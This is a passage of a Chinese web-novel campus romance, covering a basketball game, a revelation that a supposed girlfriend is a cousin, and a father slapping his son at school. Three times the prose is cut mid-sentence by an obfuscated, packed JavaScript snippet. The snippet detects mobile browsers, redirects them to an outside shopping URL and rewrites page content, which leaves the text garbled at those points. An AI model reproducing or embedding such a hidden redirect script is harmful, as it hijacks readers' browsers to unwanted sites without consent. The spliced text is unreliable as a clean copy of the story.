身边人听到姜莱答应给他送信,都纷纷替季秋白高兴喝彩,还扬言如果白露同意了季秋白就得请他们吃一顿饭。季秋白看起来像个温柔腼腆的人,听到这些也没有反驳,只是淡淡地笑。 姜莱沉默地坐在一旁,身为一个局外人,她没资格发表自己的想法,只能看着听着他们还在对没有发生的事憧憬雀跃,一言不发。 “对了,你叫什么?” 季秋白忽然扭过头问。 “我叫姜莱。”姜莱声音不大。 “那姜莱,你知道白露有没有喜欢的人啊?”季秋白问。 白露有没有喜欢的人? 实话实说,姜莱真的不知道。她整日除了学习,似乎世界里只剩下那个遥不可及的少年,她将世界封闭起来,不允许任何事物再冲破踏入,因此对于朋友,她也保持着最基本的礼貌,没有深交,更不会知道白露喜欢的人。 “我不知道,”姜莱垂眸,目光有些愣神,“如果你真的想知道,可以亲自去问,而不是来问我。” 她不知道自己说这番话的心境是什么样的,只是将自己的藏在心底,不敢实践的话说了出来。 如果季秋白真的喜欢白露,那应该大胆地亲自询问,而不是向她一样,只愿把自己所有的情绪藏入日记里隐秘起来,眼睁睁看着喜欢的人与自己渐行渐远。 “幸福老街站到了,请下车的乘客从后门离开。” 姜莱这么想着,公交车缓缓停下,已经到站。她沉默地站起身,没有停下来等待季秋白的回答,大步走下车,静静地目送公交车渐渐远去。 雨还在下,这里的排水系统不算好,不一会已然汇聚了大大小小的水坑,有些明明流着,流到姜莱鞋边。 她深吸一口气,转身离开。 7. 篮球赛 最近几日,姜莱虽然能天天见到周岷天,可她却并不开心,每天考完试一个人回到家,陪奶奶做做饭,陪爷爷洗洗碗,然后坐到书桌前复习第二天考的内容,再盯着空白的日记本发呆。 爷爷最近身体好像不太好,总是咳嗽不止,姜莱耐心地告诉他要去医院看一看,他却说医院检查一番花销大,不如在小门诊随便配点药省钱。姜莱拗不过爷爷,只好妥协,告诉奶奶要多多注意爷爷的身体。 奶奶点头答应,也注意到她情绪不太对,关心地询问:“莱莱,你最近考试顺利吗?怎么感觉你不太高兴啊,用不用再吃点药?” 姜莱摇摇头,语气温柔:“可能是最近有点累了,没事的奶奶,也许考完试就好了。” 奶奶有些心疼地摸摸她的肩,临出门时还在嘱咐她:“去了学校要多喝水啊,别再上火了。” 姜莱连连答应,又踏上考试之路。 不多时,为期三天的月考终于结束,在考试结束铃响起的刹那间,很多早已按捺不住的学生们已经站起身跑出考场,拿上饭卡冲向食堂。 一二三这些考场的学生们还算淡定,将所有物品放回班级里后才三三两两地外出上厕所,吃饭。姜莱刚收拾好书桌,注意到白露坐在凳子上同样整理书本,她忽然想到前几日答应季秋白的话,连忙跑到一班门口,站在门外瞭望了半天,也没看到季秋白的影子。 “难道他把这件事忘了?”姜莱忍不住喃喃自语。 她觉得现在走有点算言而无信,于是决定再多等几分钟。姜莱刚转过身,一抹蓝白色的身影倏然出现在她的眼前,一股淡淡的皂角香味溢入鼻尖,她定睛一看,原来是周岷天,她差一点就撞到人家身上了。 姜莱不由自主地后退一步,不好意思道:“抱歉啊,我……不是故意撞到你的。” “没事。”周岷天不在意地摆摆手,“你在找谁?用不用我帮你叫?” 姜莱沉默一瞬。 如果她告诉周岷天她要找一个男生,他会怎么想? 莫名其妙地想到这个奇怪的念头,姜莱觉得自己傻得可笑,自己与周岷天有什么关系,她找什么人和周岷天又有什么关系?人家只是好心帮自己叫个人,一切不过是她自己喜欢胡思烂想,是她自作多情。 她按耐心里的酸涩,礼貌地笑笑:“找季秋白,麻烦你帮我叫一下他可以吗?” 听到季秋白的名字,周岷天的表情微微一变。但他没有多想,走入班里环视一周,这才看到季秋白不知道什么时候把桌子搬到墙边,认认真真地写着什么东西。 他刚走近,季秋白敏锐地捕捉到脚步声,猛地抬头,将桌面上的纸捂住,看到是周岷天,他略微舒了口气:“你来干嘛?” “门口有人找你。”周岷天带话。 “谁啊?是不是姜莱?” 周岷天听到姜莱的名字从季秋白口中说出,微微蹙眉:“你还认识姜莱?” 季秋白不敢置信地笑道:“我为什么不能认识姜莱?” “因为她……是二班的小透明,没什么存在感。我以为像你这种人,不会注意到姜莱。”周岷天沉默一瞬,缓缓说出自己的理由。 季秋白没说话,静静地盯着周岷天的眼,盯得周岷天有些心里发毛。 “岷天,那你呢?像你这种个性高傲的人,又怎么能注意到她?”季秋白失笑,当着他的面将信装入信封,那标题上明晃晃的“我喜欢你”四个大字映入周岷天眼里。 季秋白站起身,走出座位走到门口,将信交到姜莱手中,还和姜莱有说有笑。姜莱收下信,冲着他笑了笑,转身离开了。 周岷天将全程目睹下来,不知道为什么,他忽然觉得心里很不是滋味,可他也不明白,这种感受究竟从何而来。 季秋白与姜莱告别,慢慢悠悠地走回座位,看到周岷天依然站在原地垂头不语,脸色发青。他一把搂住周岷天的脖子,长舒了一口气感慨道:“终于送出去了,兄弟,你要祝福我啊。” 周岷天仍旧垂着头,语气有些僵硬地反问:“你喜欢姜莱?” “姜莱?”季秋白一愣,“不是啊,我喜欢……” 喜欢谁,周岷天不在意,甚至季秋白说的名字在他的耳朵里如同自动消音。他只在意,季秋白到底喜不喜欢姜莱,得到了答案,他刚才一直紧绷的情绪终于松懈下来,原本跳得极快的心脏也终于恢复了正常频率。 “我祝你和你喜欢的人百年好合。”周岷天把他的手臂从自己脖子上移开,淡淡道。 “谢谢。”季秋白笑道,“你和杜妍也要好好的啊。” 杜妍…… 周岷天闭了闭眼,深吸一口气。 他至今也没有读懂自己的心,着急将其他人与自己捆绑在一起,未免也太过于强人所难了。 他本来想解释他与杜妍的关系,但思考后还是什么都没有说,默许了这句话的存在,转身回到自己的座位上,趴下闭目养神。 可是一闭眼,姜莱的一颦一笑总是浮现在他的眼前,明明他竭尽全力地想要忘记她,但那日的话,却依然在脑海里循环播放。 ——“在我心里,你就是周岷天,在我面前,你也可以做回自己。” - 一连几日,生活都变得很平淡,但对于白露来说,似乎不太一样了。 自从那日姜莱将信封交给她后,她的脸颊一侧好像总是挂着一丝丝微红,季秋白也总是跑到班级门口给她送早点,送笔,甚至不知道从哪里听到白露忘记带语文书,他不惜把自己的语文书借给白露,然后自己在下节课因为没书被罚站一节课。 姜莱总是能从白露口中得知这些趣事,她不是喜欢刨根问底的人,但看到他们两个如今的不同,还是忍不住想问他们的初相识。 白露也毫不避讳,大大方方地给姜莱讲述了二人的故事。 “最初相遇是有一天下雨,我没带伞,在雨里狂奔,结果跑得太快了,撞到了骑电动车的季秋白。”白露一提起此事,耳朵便开始微微泛红,“我倒是没什么大碍,因为他及时刹车了,不过可能是刹车的惯性太大,他整个人从电动车上摔了下来,把膝盖蹭破了,电动车也摔坏了。” 姜莱恍然大悟,难怪她能从公交车上遇到季秋白,原来是因为他的电动车坏掉了。 “然后我扶着他去校医室,一路上,他撑着伞,我扶着他,还听着音乐,气氛一下子就到了。”白露笑眯眯的,“我们一起听的他的歌单,全是一些旋律温柔的歌,和他这个人的气质也很相符……总而言之,和喜欢的人一起听音乐,是一件特别幸福的事。” 姜莱点点头:“音乐会促进感情。” “对啊,从那之后,我们便总是联系,加了微信,我还时常问他的电动车修到哪个进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342423|199410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度了。”白露调皮地吐吐舌头,“你呢姜莱,你有喜欢的人吗?这次是你帮我,下次就该我帮你找寻真爱了。” “我……” 姜莱微微垂下头,不知道该不该说出口。 她喜欢周岷天,可是周岷天已经有了喜欢的人,如果她现在说出来,就成了名副其实的第三者,她又怎么敢说出来。 每每想到这一点,她总觉得自己的感情十分可笑,自己的痛苦也是如此。 “我没有喜欢的人。” 千言万语像是在顷刻间全部丧失,最终只留下这七个字作为总结。 从今以后,她一定要离周岷天远一些,不要被别人误会。 姜莱端起水杯,这么想着,抿了口水。 白露看到姜莱有些落寞的神情,心里也不是滋味。虽然她不知道姜莱到底为谁悲伤,但她不忍心看着姜莱难过。恰巧下节课是体育课,听说可以自由解散看篮球赛,她拉起姜莱的手,语气兴致勃勃道:“去操场不?买瓶水走。” 姜莱被她拉起,只能点点头,跟着她走出教室。 还有五分钟上课,操场上已经站满了人,大家都围在篮球场上,堵得水泄不通。白露好奇,跑到在外面踮着脚看的人身边:“哈喽,你们在看什么啊?” “在看篮球比赛啊,本来以为没有周岷天,结果没想到他没去参加数学竞赛,来篮球赛了。” 姜莱站在白露身后,听到这番话,目光还是忍不住瞥向篮球场上那抹耀眼的身影。周岷天穿着一身红色篮球背心服装,在场上运球,投篮,所有动作一气呵成,引得场外不少人连连尖叫称好。 白露却注意到同样在场上比赛的季秋白,她拼命地高举一只手挥动着,大声喊着:“季秋白加油!” 一旁也来看比赛的程苒苒白了白露一眼,不屑道:“人家打得热火朝天的,怎么会注意到你。” 话音刚落,在场上奔跑的季秋白像是感受到什么似的,忽然侧过身冲着白露站着的位置比了个心,人群瞬间发出一阵尖叫。 白露得意地冲着程苒苒挑挑眉,程苒苒吃了哑巴亏,撇撇嘴,转身与她的小姐妹离开。 姜莱看不懂篮球赛,只是听到场外地人时不时对周岷天的表现发出惊叹,她这才会在心里给周岷天鼓气加油。 这时候,周岷天投了一个特别完美的篮,人群又爆发出惊呼,有些人还趁乱喊着杜妍的名字:“周岷天好好打!杜妍在这里看着你!” 姜莱下意识看向声音来源,果不其然,杜妍站在篮球场的另一侧,亭亭玉立,美丽动人。身边的朋友都与她站在一起,高声呼喊,每个人脸上都洋溢着笑容,似乎很期待周岷天接下来的动作。 姜莱收回目光,垂下头,拉了拉白露的衣服,轻声道:“你要喝什么水?我去给你买。” 白露高兴得满脸通红,随便答了一句:“要矿泉水就行,两瓶,等会给季秋白一瓶。” 姜莱接过她递来的钱,点点头,转身向小卖铺走去。 就在她走出篮球场的刹那间,人们齐刷刷地发出一声叹气,议论的声音立刻响起:“刚才那么好的球,周岷天怎么能投歪呢?!” “他刚才往咱们这边瞥了一眼才没注意篮筐的!” “咱们这边有谁啊?值得他三番四次地看。” “小卖铺呗!我猜测他口渴了,快去买水去!” 8. 悄悄话 姜莱抱着几瓶矿泉水走出小卖铺时,看到有很多女生忽然急急忙忙地跑到小卖铺,争先恐后地买着各式各样的水。 篮球赛结束了? 姜莱没有多留意,快步跑到白露身边。果不其然,比赛已经结束了,毫无悬念的,周岷天组得了第一,而另一组的季秋白站在白露身边,虽然输了,但他却并没有不开心,反而还跟白露有说有笑。 姜莱进场时看到周岷天被杜妍她们包围站着,周岷天却转过身,似乎注意到一道莫名其妙的目光,与站得很远的她对上了视。姜莱连忙收回视线,抱着矿泉水跑到白露身边,将她要的两瓶矿泉水交给她:“给你。” 白露注意到姜莱的怀里还抱着一瓶矿泉水:“这一瓶,你要送给谁啊?” “我……”姜莱冲着她笑笑,不由自主地紧了紧怀中的矿泉水,“自己喝。” “行吧。”白露没当回事,和季秋白开始贫嘴打闹。姜莱坐在他们身边,沉默地盯着地面砖缝,一直在盯着手中的矿泉水发呆。 她在来之前喝过水了,并不渴,这瓶水到底想送给谁,她心知肚明。 可是她不能找他,不能送给他。买下这瓶水,或许只是买一份安慰吧。 白露站起身,告诉她自己要和季秋白去买点零食回来和她分享,姜莱点点头,也识趣地没有跟上去,坐在原地继续发呆。 有人慢慢走到她的身边,挨着她坐了下来。熟悉的木檀香味在周遭空气里弥漫开来,姜莱后背慢慢挺直,全身都僵硬了几分。 “你的水怎么卖?我想买一瓶。”身边的人道。 姜莱微微侧身,看向周岷天,又不敢与他对视,只能看向别处:“不用你买,我可以送……” 说到此,她猛然想起现在的周岷天是有女朋友的,如果自己把水送给他,那岂不是会伤了杜妍的心。 原本打算递出去的水又连忙收了回来,姜莱闭上眼睛,深吸一口气:“原价卖,两块钱。” 周岷天看着姜莱这幅模样,有些想笑,还是从校服褂中掏出两块钱交给姜莱:“你不中间商赚差价啊?” 姜莱沉默地接过钱,又把矿泉水放到他的手中,站起身背对他:“如果没事的话,我们还是保持些距离吧。” “为什么?”周岷天看着少女瘦小的背影,不明所以。 姜莱藏在袖中的手慢慢攥紧,不由自主地咬紧牙关。 “因为你已经有喜欢的人了,我和你走得太近,对她太不公平了。”姜莱的声音有些颤抖,她甚至都不知道自己是哪来的勇气敢面对周岷天说出这句话。 周岷天在她的世界里是不容割舍的存在,可是如果这份情感是建立在伤害他人的前提下,那她宁可伤害自己,然后让其他人全身而退。 这从来都是姜莱的生存方法。 周岷天听到她的话,神色一愣,心里瞬间了然。 姜莱是个敏感的女孩,想必她是听到了他与杜妍之间的流言蜚语,误解罢了。 可是事到如今,他也不知道自己对姜莱究竟是怀揣着一种怎样的感情,到底该不该告诉她,他与杜妍的关系。 他只是不想看到姜莱难过的神色,不想看到姜莱落寞的背影。 不想…… “姜莱。” 姜莱脚步一顿。 “其实……”周岷天缓缓闭上眼,想了想措辞,用仅有他们两个人能听到的声音道,“我和杜妍,不是你想的关系。” “那是什么关系?”姜莱不敢转过身,低下头,似乎能屏蔽那些她不愿听到的答案。 周岷天叹了口气,站起来拍拍身后的灰尘,走到姜莱面前,拉了拉她的衣袖:“跟我来。” 姜莱有些不明所以,但还是跟在他的身后,周岷天左顾右盼一番,找了半天才找到一处偏僻的地方。 这里空无一人,除了堆放的一些健身器材外,再无他物。屋檐上满是灰尘,甚至有些地方已经有了发霉的迹象。周岷天率先进来,被灰尘呛得直咳嗽,连忙退出来把门关上,示意姜莱不要进去,站在门外说就行。 姜莱停下脚步,有些担忧地望向他,但还是没敢上前一步。 “你……” 姜莱不知道自己应该怎么先开口,只能蹦出一个字,然后失去下文。 周岷天却摆出一副自如的姿态,冲着姜莱笑了笑:“杜妍她是我表妹。” “表妹?”姜莱一时间愣住了,“那你们为什么要在学校里以情侣示人……” “这也是我父母的意思。”周岷天又叹了口气,“他们一边希望我成为天才,每天游手好闲就能取得好成绩,但又一边担忧我早恋耽误学习,多矛盾,多好笑。” “所以把我表妹搬出来,恰巧能为双方抵挡追求者,一石二鸟,正合他们意。” 姜莱听完,沉默不语。 她望向眼前的少年,他面对自己时,似乎总在叹气,将平日里不敢流露的心事尽数说给自己听。姜莱不知道他为什么会向她解释这些,这些事,周岷天可以选择沉默,但他还是告诉了她,这算……信任吗? 笃定她不会告诉别人?笃定她会埋在心里吗? 还是在他的眼里,只有她姜莱,是独一无二的吗? 姜莱在心里胡思乱想时,周岷天注意到她的走神,抬起手在她眼前晃了晃:“姜莱?你还在线吗?” “在!”姜莱如同条件反射般迅速抬起头,对上周岷天充满笑意的双眼,又连忙低下头,脸颊微红,“也可以不在。” 她的心忽然变得格外平静,甚至带着一丝丝窃喜。这样的话,她喜欢周岷天这件事在她心里,就不是负担,不是罪恶。 “那你,就没有想问我的吗?” 姜莱摇摇头。 周岷天有些错愕,随即又笑出声:“这么相信我啊。” “相信。”姜莱毫不犹豫地点头,“即使是谎话,但只要是你说的,我都信。” 说完这句话,姜莱顿时意识到自己在说什么,连忙捂上嘴,脸颊泛起一丝热意,忍不住露出一抹笑容。 身边吹过一阵热风,仿佛在这一刻,风里也带着淡淡的甜意。 周岷天的眼里闪过一丝惊喜,他的喉结轻轻滚动,本来刚到嘴边的话通通被这炽热的坦诚堵住,他只觉得心里一暖,露出笑容。 阳光撒在地面上,将二人的影子拉得很长,相互交织。柔风吹过,扬起少女的发梢,仿佛在那一刻,少女周身都发着淡淡的光。 他正微笑着张张口,本来想说什么,目光忽然瞥到挂在屋顶的木桩,恰巧延伸到姜莱的头顶,被风雨侵蚀得摇摇欲坠。 周岷天的右眼皮毫无征兆地狠狠一跳,一股莫名的寒意瞬间窜上脊背。 下一秒,木桩被一阵风吹动,向下砸来! “姜莱!危险!” 一切发生得太突然,突然到姜莱上一秒还看着周岷天正笑盈盈地与她对视,下一秒他惊慌失措地朝她扑来,她压根没反应过来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342424|199410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜莱只觉得自己被周岷天推了出去,结结实实地摔到冰凉的地面。姜莱有些吃痛,揉着后背半坐起身,看到周岷天咬牙切齿地躺在地上,一个粗大的木桩不偏不倚地砸到他的右腿,痛得他脸色苍白。 “周岷天!”姜莱瞬间慌乱,跑到周岷天身边,使劲把木桩从他的腿上推下去。她看着周岷天吃痛的神色,心如刀割,“你还能站起来吗?我扶你去校医室先简单包扎一下!” 周岷天调整了几下呼吸,咬着牙借着姜莱的力站起来,额头上渗出一些汗珠:“季秋白他们呢?刚才不是还在你身边吗?” “他们去小卖铺了……我不知道他们现在有没有回来。” 周岷天闭上眼睛:“这件事不要声张,我在这里等你,你去找季秋白,让他扶我去校医室。” 姜莱眼眶含泪,点点头,转身跑向操场。 周岷天望向姜莱渐行渐远的背影,脑海里回想起刚才她惊慌失措的表情,心间忽然流过一丝暖意。 好像有很久……都没人为他真正担忧过。 而姜莱,是第一人。 季秋白跑到他身边时,周岷天的小腿已经有了剧烈的撕痛感,疼得他倒吸一口凉气。姜莱一直跟在他身边,却垂着头,对周岷天腿伤一事十分自责。 白露也紧随其后,看到此情此景她先是一愣,似乎没想到姜莱和周岷天会出现在同一个地方。但看姜莱情绪低落,站在原地手足无措,她还是找借口把姜莱支开,留下季秋白扶着周岷天去校医室。 校医室离他们现在的位置相隔一个操场,季秋白本来想直接横穿操场,但周岷天却死活不愿意,非要从操场下面的篮球场走,虽然隐蔽,其他人注意不到,但路程也足足远了一倍。 季秋白看着此刻周岷天动弹不得的右腿,每走几步他的额头就会渗出汗珠,整个人脸色苍白,就连手都异常冰凉。 “兄弟,何苦呢?”季秋白忍不住道,“你的腿都伤成这样了,为什么还非要绕远路走?你是怕谁会看到?” 周岷天不说话,紧抿嘴唇,勾勒出一条倔强的线。 季秋白看不下去:“岷天,你受伤后就应该让姜莱及时扶着你去校医室,现在拖了这么久,你的伤口万一感染了怎么办,你到底在顾虑什么?” …… 沉默许久,周岷天才缓缓开口,声音因疼痛变得沙哑:“姜莱是女生,我不想让她因为我被人嚼舌根,被人背后议论,平白玷污了她的名声。” “……明白了。”季秋白无奈一笑,叹了口气,“但我作为兄弟,想再提醒一句,你有了杜妍,还是离姜莱远一些吧,害人害己,对杜妍也不公平。” 周岷天一愣。 他抿唇,只觉得心口的刺痛愈加浓烈,就连唇齿间也能感受到丝丝铁锈味。 是啊,他之前怎么没考虑过其他人。 他只在乎自己,只想接近姜莱,可却没有考虑过杜妍的名声,也疏忽了其他人对姜莱的看法。 为什么,为什么,他不能遵循自己的心,奋起反抗。 他真的很想拿出喇叭,高声向全世界呼喊他不喜欢杜妍,也向其他人解释,他们之间什么都没有。 可是他真的可以吗? 一想到父母的压迫威胁,一想到自己的懦弱,他总是望而却步。 周岷天闭上眼,深吸一口气,忽然顿下前进的脚步,目光认真地看向季秋白: “秋白,我要告诉你一件事。” 9. 热牛奶 周五,月考成绩新鲜出炉。不少学生围在公告栏前寻找自己的名字,依然是有人欢喜有人忧,回到班级里,班主任喋喋不休地告知学生们此次月考的重要性,如果没有考好是会单独叫家长的,更打击了一大群同学们的内心。 姜莱的成绩依然稳定在文科年级前十,只是这次的语文成绩受到一点点心情影响,导致分数不高,班主任趁课间把姜莱叫到办公室与她谈心。 班主任是个四十多岁的女教师,一班二班的语文全由她带,平时对待学生十分严厉,但实则是个刀子嘴豆腐心的人,知道姜莱家境一般,学习条件不多,总是会用学校的打印机单独给姜莱印一些课外题。 姜莱对这位老师也是十分尊敬与喜欢,因此当其他人得知她被单独叫到办公室而替她担忧时,她只是笑笑,转身走出教室。 当她推开教室门的刹那,一抹熟悉的身影映入眼帘,周岷天坐在轮椅上,身边站着一个身形高大健硕的中年男人,眉眼与周岷天相似,身着西装,全身上下无不透露出与众不同的气质与威严。 男人眉宇紧皱,面对班主任时毫不客气:“老师,你是一班的代理班主任?” 班主任耐心回答:“一班王老师最近出差学习了,他不在就由我来带。” 男人嗤笑一笑,满脸不屑地指着坐在轮椅上垂头不语的周岷天:“那我直说了,你也没资格管我到底是怎么对待他的。这是我孩子,不是你孩子,我教不教育他,也和你一个代理班主任没关系。” 周岷天依然低头不语,目光呆滞,仿佛现在所说的事与他毫无关系,而他也一直游离在世界之外。躲在门口的姜莱从来没见过周岷天这种状态,心里不由自主地替他捏了一把汗。 “周岷天家长,我在和你好好沟通,也请你有个良好的态度。”班主任强压愤怒,强颜欢笑,“周岷天成绩优异,是个清北的好苗子,还有一年就要高考了,在这个关键的节骨眼上,我当然希望他不要因为早恋什么的事情耽误学习,所以才会通知你,但我也并不希望你用暴力来管教孩子。同时他前两天打球不小心摔伤了腿,这也是无法预料的事,你也不要因为这些事就对孩子大打出手,破坏家庭氛围,给孩子造成压力……” 话还没说完,男人冷笑一声,还没等班主任说完,他高高扬起手,狠狠地扇了周岷天一巴掌,力气之大,清脆的声音在空旷的办公室里回荡,瞬间打断了班主任的话,就连站在门外的姜莱都吓了一跳,其他老师更是连大气也不敢出,都僵住身体,一动不动。 这是在给老师示威吗?姜莱忍不住想。 周岷天被扇得侧过头,脸上留下清晰的红色掌印。他仍然没什么反应,淡淡地用舌尖顶住侧脸,似乎对这一幕已经习以为常。 “你在干什么?!”班主任回过神来,不敢置信地看着眼前的中年男子,隐忍许久的脾气终于爆发了,“周岷天家长,还请你出去,这里是学校,不是你滥用家法的刑场,你也没有资格在学校里胡搅蛮缠!” 男人冷冷地瞪着沉默不语的周岷天,又不屑一顾地瞥了眼怒目圆睁的班主任,冲着周岷天丢下一句:“你等着,回去看我怎么弄死你。” 说完,他头也不回地大步走出办公室,只留下办公室里其他人面面相觑。 趁机躲在白色柱子后的姜莱心有余悸地舒了口气,确认中年男人的身影消失在视野里,她慢吞吞地从柱子后面走出来,犹豫片刻,抬起手敲了敲办公室门。听到其他老师说了声请进,姜莱缓缓推开门,小心翼翼地走到依然火冒三丈的班主任身边。 坐在角落里的周岷天无意抬眼,看到姜莱的出现,他原本平静的目光似乎溅起一丝涟漪,甚至那一丝丝变动,就连他自己都未察觉。 班主任注意到姜莱,叹了口气:“姜莱,今天老师还有点事,就先不给你分析语文试卷了,明天这时候再来找我吧。” 姜莱乖巧地点点头,在离开的瞬间偷偷摸摸地瞥了一眼周岷天。 班主任的目光凝聚而来,姜莱连忙收回视线,跟班主任打声招呼后,急匆匆跑回教室,生怕多留一会,自己的心思就会暴露。 周岷天说得没错,他的家庭确实限制了他的方方面面,他认为窒息,那也是理所应当。 回想到他的遭遇,就连姜莱都忍不住替他叹息。 “姜莱姜莱,你回来了,老师有没有骂你啊?”刚一进班,同样语文没考好的女同学立刻围了上来,十分关切姜莱的状况。 姜莱诚实地摇摇头:“老师说她今天有事,什么都没交代就让我回来了。” 那个女生夸张地垂头丧气:“姜莱,你的运气也太好了吧,这都能躲过,下次你能不能分一些运气给我。” 姜莱笑了笑,安慰地拍拍她的肩。 与女生闲聊几句后,姜莱走到座位上,同桌面对眼前的试卷愁眉不展。看到气氛不太对,姜莱没敢打扰她,沉默地坐下喝水。 “姜莱,你听说了吗?周岷天和杜妍那事。” 她正喝水着,身后忽然传来白露的声音。白露抻着身子,半趴在桌子上,压低声音,满脸期待地看着姜莱。 姜莱一脸懵:“你在说什么?” “你居然不知道?”白露异常惊讶,“周岷天和杜妍根本就不是男女朋友,杜妍是周岷天的表妹!昨天在学校里都传遍了,事后好多人回想,难怪他们从来没见过杜妍和周岷天在一起有特别亲密的举动,原来是有这层关系啊!” “可是周岷天为什么会忽然告诉所有人,难道他想开了……有喜欢的人了?” “而且这下程苒苒可高兴了,她觉得自己有机会了……哎姜莱,姜莱?” 白露注意到姜莱有些魂不守舍,伸出手在她的眼前晃了晃。 姜莱立刻回过神,淡淡地笑:“挺好的,挺好的。” 她不知道自己该说什么,坦白这件事是周岷天的意愿,她也不知道周岷天到底是怎么想的。 不过他居然能顶着父母压力将这件事公之于众……姜莱忽然在一瞬间明白,为什么周父看起来这么生气了,想必是因为这件事。 姜莱藏在书包里的手不由自主地攥紧那瓶牛奶,瓶身上还残存着些许温度。 现在,她送也不是,不送也不是。 - 直到那天晚上,姜莱都没有把牛奶送出去。 她本来是想感谢周岷天保护自己,但一想到送别人牛奶有些廉价,她最终还是没好意思拿出去,想了许久,将牛奶装回书包,默默地走出教室。 路过一班门口,她还是忍不住停下脚步,侧头看向那已经关了灯,但还有两个值日生在打扫的教室。思忖片刻,她还是从书包里掏出一支昨天买好的钢笔和早已凉透了的牛奶,戴上口罩,蹑手蹑脚地走入一班教室,向他们询问周岷天的座位。 得到答案,姜莱手忙脚乱地将钢笔和牛奶塞入周岷天的桌洞里,随即转身逃跑。 两个值日生注意到姜莱落荒而逃,刚想说些什么,恰巧此时周岷天操控着轮椅进入教室,脸上满是疲惫不堪。 “周岷天,刚才有个女生给你送礼物来了,你看看桌洞里有没有。” 对于女生给周岷天送东西的场景,他们已经见怪不怪,便能很自然地告诉他。 周岷天兴致缺缺:“谁送的?” “不认识,一个瘦瘦的女生,刘海挺长的,扎着低马尾,还戴着个口罩。她放下就跑走了,看起来挺着急的。”另一个值日生道。 仿佛是在一瞬间,周岷天的脑海里出现了姜莱的影子,她手里拿着礼物,小心翼翼地放在他的桌子上,然后着急忙慌地离开。 如此想着,他的最近不由自主地向上扬了几分,操纵着轮椅走到桌子前,从桌洞中掏出那瓶牛奶和那支钢笔,放入书包里。 一个和周岷天平时关系还好的男生惊奇地问:“这次不把礼物还给人家了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342425|199410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个男生撞了撞他的肩,挤眉弄眼:“你懂什么,以前毕竟和杜妍绑着关系,得注意分寸,现在自由了又不一样。” 周岷天没有说话,没有搭理他们,抓起校服外套,拿起书包往出走。 即使是凉透了的牛奶,对他而言,也有着不同寻常的温暖。 晚自习刚下,夜色正浓,走在没灯的地方伸手不见五指,所有人无不欢天喜地地冲出学校,三三两两,有说有笑。白露一放学就跑去找季秋白,姜莱只好独自收拾,独自离开。 路过几个同班同学,她们和姜莱打了声招呼,从反方向离开。姜莱冲着她们笑了笑,正要大步离开,忽然被身后的人叫住了。 “姜莱!” 是程苒苒的声音。 姜莱定下脚步,错愕地回头看向朝她奔跑而来的程苒苒。程苒苒气喘吁吁地停在她面前,喘着粗气道:“我都知道了。” “你知道什么了?”姜莱一头雾水。 程苒苒看着姜莱的表情,眼里流转着些许难过。 “刘蕊和我说了……”她有些哽咽,“李莹在我请假期间当着很多人的面嘲笑我,说我追周岷天是不自量力,是你及时解围,才没让他们继续嘲讽下去的。” 姜莱努力地回想了一下,确实有这件事,可当时她那么隐晦的解围,还有人能看出来? 程苒苒似乎十分伤心,看姜莱微微蹙眉回想时,她一个人站在原地低声抽噎,一颗一颗硕大的泪珠滴落在地,砸在脚边,水渍渐渐消失。 被自己一直视为好朋友的人当着其他同学的面肆意诋毁自己,被自己心心念念的人视而不见,这次成绩没考好,还要做好被父母打骂的准备……种种事情堆积起来,程苒苒再高傲,也难抵这块心结。 姜莱不知道该怎么安慰她,她向来不会安慰人。 沉默一瞬,她张开双臂,静静地抱住程苒苒,试图用拥抱来安慰她破碎的心。 “如果想哭的话,就大声地哭出来吧。”姜莱的声音轻轻的,轻到只有程苒苒能听到,“现在学生们走得都差不多了,这里只有你和我,没有其他人。” 程苒苒一听,立刻抱着姜莱嚎啕大哭起来。 她哭得很伤心,把自己内心的难过通通告诉姜莱,姜莱默默消化着她的痛苦,一句话都没有说,只是轻拍着她的背。 她的掌心隔着薄薄的校服,感受到布料之后的温度,姜莱收回手,张张口,本想说些什么,程苒苒却忽然抬起头,眼角还挂着几滴泪水,一脸认真道:“姜莱,以前是我不对,不该挑衅你,我向你道歉。不过之后在对待周岷天的事上,我依然不会轻易向你认输的。” 姜莱有一瞬间的失笑,轻轻垂下头:“认什么输啊,我……又不喜欢周岷天,甚至根本就没有资格与你开始比赛。” 程苒苒一抹鼻涕眼泪,死死盯着姜莱,似乎想从她脸上看出一丝丝破绽:“真的?” “真的。”姜莱微微点点头。 “你真的不喜欢周岷天?”程苒苒还是有些不相信。 姜莱叹了口气。 回想从前的自己,与现在的自己,真是变了太多。每一次说真心话时,她总是小心翼翼,犹犹豫豫,而说谎话时,却轻而易举,信手拈来。 “我不喜欢周岷天,一点也不喜欢。” 